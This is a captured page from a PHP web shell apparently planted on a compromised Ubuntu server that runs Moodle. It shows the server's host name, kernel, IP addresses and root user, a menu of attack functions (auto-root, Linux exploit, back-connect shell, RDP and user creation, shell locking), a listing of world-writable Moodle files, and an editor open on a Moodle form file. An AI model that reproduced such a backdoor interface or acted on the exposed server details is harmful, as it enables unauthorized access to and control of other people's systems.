Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
user /
[ HOME SHELL ]
Name
Size
Permission
Action
default
[ DIR ]
drwxrwxrwx
filters
[ DIR ]
drwxrwxrwx
profile
[ DIR ]
drwxrwxrwx
selector
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
action_redir.php
1.45
KB
-rwxrwxrwx
addnote.php
4.32
KB
-rwxrwxrwx
edit.php
10.04
KB
-rwxrwxrwx
edit_form.php
6.05
KB
-rwxrwxrwx
editadvanced.php
10.37
KB
-rwxrwxrwx
editadvanced_form.php
8.38
KB
-rwxrwxrwx
editlib.php
13.31
KB
-rwxrwxrwx
emailupdate.php
3.22
KB
-rwxrwxrwx
externallib.php
50.24
KB
-rwxrwxrwx
files.php
2.5
KB
-rwxrwxrwx
files_form.php
1.84
KB
-rwxrwxrwx
groupaddnote.php
3.98
KB
-rwxrwxrwx
grouppix.php
1.04
KB
-rwxrwxrwx
index.php
36.92
KB
-rwxrwxrwx
lib.php
20.36
KB
-rwxrwxrwx
managetoken.php
3.95
KB
-rwxrwxrwx
message.html
2.39
KB
-rwxrwxrwx
messageselect.php
6.24
KB
-rwxrwxrwx
module.js
1.22
KB
-rwxrwxrwx
pix.php
1.5
KB
-rwxrwxrwx
pixgroup.php
1.06
KB
-rwxrwxrwx
policy.php
2.98
KB
-rwxrwxrwx
portfolio.php
4.55
KB
-rwxrwxrwx
portfoliologs.php
5.69
KB
-rwxrwxrwx
profile.php
16.14
KB
-rwxrwxrwx
profilesys.php
3.04
KB
-rwxrwxrwx
renderer.php
3.34
KB
-rwxrwxrwx
repository.php
2.78
KB
-rwxrwxrwx
view.php
14.72
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit_form.php
<?php if (!defined('MOODLE_INTERNAL')) { die('Direct access to this script is forbidden.'); /// It must be included from a Moodle page } require_once($CFG->dirroot.'/lib/formslib.php'); class user_edit_form extends moodleform { // Define the form function definition () { global $CFG, $COURSE, $USER; $mform =& $this->_form; $editoroptions = null; $filemanageroptions = null; $userid = $USER->id; if (is_array($this->_customdata)) { if (array_key_exists('editoroptions', $this->_customdata)) { $editoroptions = $this->_customdata['editoroptions']; } if (array_key_exists('filemanageroptions', $this->_customdata)) { $filemanageroptions = $this->_customdata['filemanageroptions']; } if (array_key_exists('userid', $this->_customdata)) { $userid = $this->_customdata['userid']; } } //Accessibility: "Required" is bad legend text. $strgeneral = get_string('general'); $strrequired = get_string('required'); /// Add some extra hidden fields $mform->addElement('hidden', 'id'); $mform->setType('id', PARAM_INT); $mform->addElement('hidden', 'course', $COURSE->id); $mform->setType('course', PARAM_INT); /// Print the required moodle fields first $mform->addElement('header', 'moodle', $strgeneral); /// shared fields useredit_shared_definition($mform, $editoroptions, $filemanageroptions); /// extra settigs if (!empty($CFG->disableuserimages)) { $mform->removeElement('deletepicture'); $mform->removeElement('imagefile'); $mform->removeElement('imagealt'); } /// Next the customisable profile fields profile_definition($mform, $userid); $this->add_action_buttons(false, get_string('updatemyprofile')); } function definition_after_data() { global $CFG, $DB, $OUTPUT; $mform =& $this->_form; $userid = $mform->getElementValue('id'); // if language does not exist, use site default lang if ($langsel = $mform->getElementValue('lang')) { $lang = reset($langsel); // check lang exists if (!get_string_manager()->translation_exists($lang, false)) { $lang_el =& $mform->getElement('lang'); $lang_el->setValue($CFG->lang); } } if ($user = $DB->get_record('user', array('id'=>$userid))) { // remove description if (empty($user->description) && !empty($CFG->profilesforenrolledusersonly) && !$DB->record_exists('role_assignments', array('userid'=>$userid))) { $mform->removeElement('description_editor'); } // print picture $context = context_user::instance($user->id, MUST_EXIST); $fs = get_file_storage(); $hasuploadedpicture = ($fs->file_exists($context->id, 'user', 'icon', 0, '/', 'f2.png') || $fs->file_exists($context->id, 'user', 'icon', 0, '/', 'f2.jpg')); if (!empty($user->picture) && $hasuploadedpicture) { $imagevalue = $OUTPUT->user_picture($user, array('courseid' => SITEID, 'size'=>64)); } else { $imagevalue = get_string('none'); } $imageelement = $mform->getElement('currentpicture'); $imageelement->setValue($imagevalue); if ($mform->elementExists('deletepicture') && !$hasuploadedpicture) { $mform->removeElement('deletepicture'); } /// disable fields that are locked by auth plugins $fields = get_user_fieldnames(); $authplugin = get_auth_plugin($user->auth); foreach ($fields as $field) { if (!$mform->elementExists($field)) { continue; } $configvariable = 'field_lock_' . $field; if (isset($authplugin->config->{$configvariable})) { if ($authplugin->config->{$configvariable} === 'locked') { $mform->hardFreeze($field); $mform->setConstant($field, $user->$field); } else if ($authplugin->config->{$configvariable} === 'unlockedifempty' and $user->$field != '') { $mform->hardFreeze($field); $mform->setConstant($field, $user->$field); } } } /// Next the customisable profile fields profile_definition_after_data($mform, $user->id); } else { profile_definition_after_data($mform, 0); } } function validation($usernew, $files) { global $CFG, $DB; $errors = parent::validation($usernew, $files); $usernew = (object)$usernew; $user = $DB->get_record('user', array('id'=>$usernew->id)); // validate email if (!isset($usernew->email)) { // mail not confirmed yet } else if (!validate_email($usernew->email)) { $errors['email'] = get_string('invalidemail'); } else if (($usernew->email !== $user->email) and $DB->record_exists('user', array('email'=>$usernew->email, 'mnethostid'=>$CFG->mnet_localhost_id))) { $errors['email'] = get_string('emailexists'); } if (isset($usernew->email) and $usernew->email === $user->email and over_bounce_threshold($user)) { $errors['email'] = get_string('toomanybounces'); } if (isset($usernew->email) and !empty($CFG->verifychangedemail) and !isset($errors['email']) and !has_capability('moodle/user:update', context_system::instance())) { $errorstr = email_is_not_allowed($usernew->email); if ($errorstr !== false) { $errors['email'] = $errorstr; } } /// Next the customisable profile fields $errors += profile_validation($usernew, $files); return $errors; } }
Close